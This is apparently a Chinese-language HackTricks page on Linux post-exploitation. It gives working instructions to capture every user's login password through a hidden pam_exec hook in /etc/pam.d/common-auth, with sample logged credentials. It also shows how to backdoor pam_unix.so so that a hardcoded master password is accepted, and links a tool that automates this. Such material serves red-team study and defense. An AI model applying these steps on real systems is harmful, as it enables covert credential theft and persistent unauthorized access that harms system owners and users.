# Linux后渗透
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## 使用PAM嗅探登录密码
让我们配置一个PAM模块,以记录每个用户用于登录的密码。如果您不知道什么是PAM,请查看:
{% content-ref url="pam-pluggable-authentication-modules.md" %}
[pam-pluggable-authentication-modules.md](pam-pluggable-authentication-modules.md)
{% endcontent-ref %}
首先,我们创建一个bash脚本,每当发生新的身份验证时都会调用该脚本。
```bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
```
变量是PAM特定的,并将通过`pam_exec.so`模块可用。
以下是变量的含义:
- **$PAM\_USER:** 输入的用户名。
- **$PAM\_RHOST:** 远程主机(通常是IP地址)
- **$(cat -):** 这会读取`stdin`,并包含脚本抓取的密码
- 结果被导入到`/var/log/toomanysecrets.log`中的日志文件中
要**防止所有用户读取**该文件,请考虑预先创建它并运行`chmod`,例如:
```bash
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
```
接下来,需要更新PAM配置文件,将使用`pam_exec`模块来调用脚本。
在`/etc/pam.d/`目录中有各种配置文件,我们选择`common-auth`。
```
sudo nano /etc/pam.d/common-auth
```
在文件的底部,添加以下身份验证模块:
```plaintext
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
```
这些选项的含义如下:
- **optional:** 如果出现错误,认证不会失败(这不是必需的步骤)
- **pam\_exec.so:** 这是可以调用任意脚本的现成 PAM 模块
- **expose\_authtok:** 这是通过 `stdin` 读取密码的技巧
- **quiet:** 不向用户显示任何错误(如果有什么问题)
- 最后一个参数是之前创建的 shell 脚本
![](<../../.gitbook/assets/image (375).png>)
最后,将文件设置为可执行:
```plaintext
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
现在,让我们尝试一下,从另一台机器进行 SSH 登录,或者本地登录。
然后查看日志文件:
```
$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
```
### 后门PAM
让我们进入PAM的源代码(取决于您的发行版,选择与您相同版本号的文件..)并查看pam_unix_auth.c文件中的170/180行附近:
```
vi modules/pam_unix/pam_unix_auth.c
```
![](<../../.gitbook/assets/image (651).png>)
让我们通过以下方式更改:
![](<../../.gitbook/assets/image (638) (2) (2).png>)
这将允许任何使用**密码"0xMitsurugi"**的用户登录。
重新编译`pam_unix_auth.c`,并替换`pam_unix.so`文件:
```bash
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/
```
{% hint style="info" %}
您可以使用[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)来自动化此过程。
{% endhint %}
## 参考资料
* [https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)
* [https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)
从零开始学习AWS黑客技术,成为英雄,使用 htARTE(HackTricks AWS红队专家)!
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。